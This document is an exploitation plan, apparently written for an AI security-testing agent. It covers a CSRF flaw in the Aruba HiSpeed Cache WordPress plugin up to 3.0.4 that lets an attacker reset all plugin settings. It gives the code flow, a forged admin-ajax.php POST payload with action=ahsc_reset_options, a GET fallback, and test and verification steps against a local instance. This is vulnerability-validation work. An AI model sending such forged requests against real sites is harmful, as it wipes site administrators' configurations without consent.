Exploitation Research Plan: Aruba HiSpeed Cache <= 3.0.4 - CSRF to Plugin Settings Reset

1. Vulnerability Summary

The Aruba HiSpeed Cache plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 3.0.4. The vulnerability exists because the AJAX handler responsible for resetting plugin settings, ahsc_ajax_reset_options(), does not perform any nonce verification (e.g., check_ajax_referer). An unauthenticated attacker can exploit this by tricking a logged-in administrator into visiting a malicious webpage, which then sends a forged request to the site's AJAX endpoint to reset all plugin configurations to their factory defaults.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Method: POST
• Action: ahsc_reset_options (defined in admin/assets/js/option-page.js)
• Vulnerable Function: ahsc_ajax_reset_options() (as specified in the vulnerability description)
• Authentication Required: An administrator session (exploited via the victim's browser).
• Payload Parameter: action=ahsc_reset_options
• Preconditions: The victim must be a logged-in administrator with the manage_options capability.

3. Code Flow

1. Client-Side Trigger: In admin/assets/js/option-page.js, the class AHSC_SETTINGS_PAGE initializes several handlers, including this.manageReset().
2. JavaScript Implementation: The manageReset() function attaches a listener to the element #ahsc_reset_save.

   // admin/assets/js/option-page.js
   async manageReset(){
       document.querySelector(".ahsc-actions-wrapper #ahsc_reset_save").addEventListener("click", async (e) => {
           e.preventDefault();
           if (confirm(this.configs.ahsc_reset_confirm) === true) {
               // ...
               const data = new FormData();
               data.append("action", "ahsc_reset_options"); // ONLY action is appended
   
               const request = await fetch(this.configs.ahsc_ajax_url, {
                   method: "POST",
                   credentials: "same-origin",
                   body: data,
               })
               // ...
           }
       });
   }
   

3. Missing Security Control: Unlike the purge() function in the same file which appends data.append("ahsc_nonce", this.configs.ahsc_nonce);, the manageReset() function sends only the action.
4. Backend Sink: The WordPress core processes the AJAX request. The plugin registers the action ahsc_reset_options to a PHP function (likely ahsc_ajax_reset_options inside admin/AHSC_Admin_Menu.php, though that file isn't provided, the JS and description confirm the path).
5. Execution: The backend function executes the reset logic without verifying a security nonce or checking the referrer, leading to the deletion/reset of settings stored in the wp_options table.

4. Nonce Acquisition Strategy

No nonce is required for this exploit.
The source code in admin/assets/js/option-page.js explicitly shows that the "Reset" functionality does not include a nonce in the FormData object. The vulnerability description confirms that "missing nonce verification" is the root cause. Therefore, the exploit can be executed blindly as long as the victim administrator has an active session.

5. Exploitation Strategy

The goal is to demonstrate that an external request can trigger the settings reset.

1. Preparation: Change a plugin setting to a non-default value (e.g., enable "HTML Optimizer").
2. Forge Request: Use the http_request tool to simulate the CSRF attack. Since the agent acts as the attacker, and the "victim" is the authenticated session in the browser environment, we will perform the request using the administrator's cookies.
3. Payload:
   • URL: {{TARGET_URL}}/wp-admin/admin-ajax.php
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=ahsc_reset_options
4. Execution:

   // Logical representation of the exploit request
   http_request({
       url: "http://localhost:8080/wp-admin/admin-ajax.php",
       method: "POST",
       body: "action=ahsc_reset_options",
       headers: {
           "Content-Type": "application/x-www-form-urlencoded"
       }
   });
   

6. Test Data Setup

1. Install & Activate: Ensure aruba-hispeed-cache version 3.0.4 is active.
2. Modify State: Change a specific plugin setting to verify the reset later.
   • Check the current state: wp option get ahsc_html_optimizer_settings (or similar, inferred from src/AHSC_HtmlOptimizer.php).
   • If the option is empty or default, set it: wp option update ahsc_html_optimizer_settings '{"enable_html_minification":"1"}' --format=json.
3. Confirm Settings Menu: Verify the plugin menu exists: wp plugin get aruba-hispeed-cache.

7. Expected Results

• Response: The server should return a JSON response (as suggested by the .then((esit) => { ... }) block in option-page.js).
• Data State: The options associated with the plugin (e.g., ahsc_html_optimizer_settings, ahsc_cache_warmer_status, etc.) should be deleted or reverted to their default/initial state.

8. Verification Steps

1. Immediate Verification: Check the response body of the http_request. A successful reset often returns a success message in JSON format.
2. Database Check (WP-CLI):
   • Run: wp option get ahsc_html_optimizer_settings
   • Success Criteria: The command returns false (if deleted) or a default object (if reset), confirming the value set in Step 6.2 was removed.
3. UI Check: Navigate to the plugin settings page in the browser and verify the "HTML Optimizer" (or whichever setting was modified) is now disabled.

9. Alternative Approaches

If the action name differs slightly in the specific environment:

1. Search for all AJAX registrations in the plugin directory: grep -r "wp_ajax_ahsc" .
2. Check for the specific option names used by the plugin to verify which ones were affected: wp option list | grep ahsc.
3. If a simple POST fails, attempt to trigger it via a GET request (sometimes admin-ajax.php handlers don't check $_POST specifically and accept $_REQUEST): {{TARGET_URL}}/wp-admin/admin-ajax.php?action=ahsc_reset_options.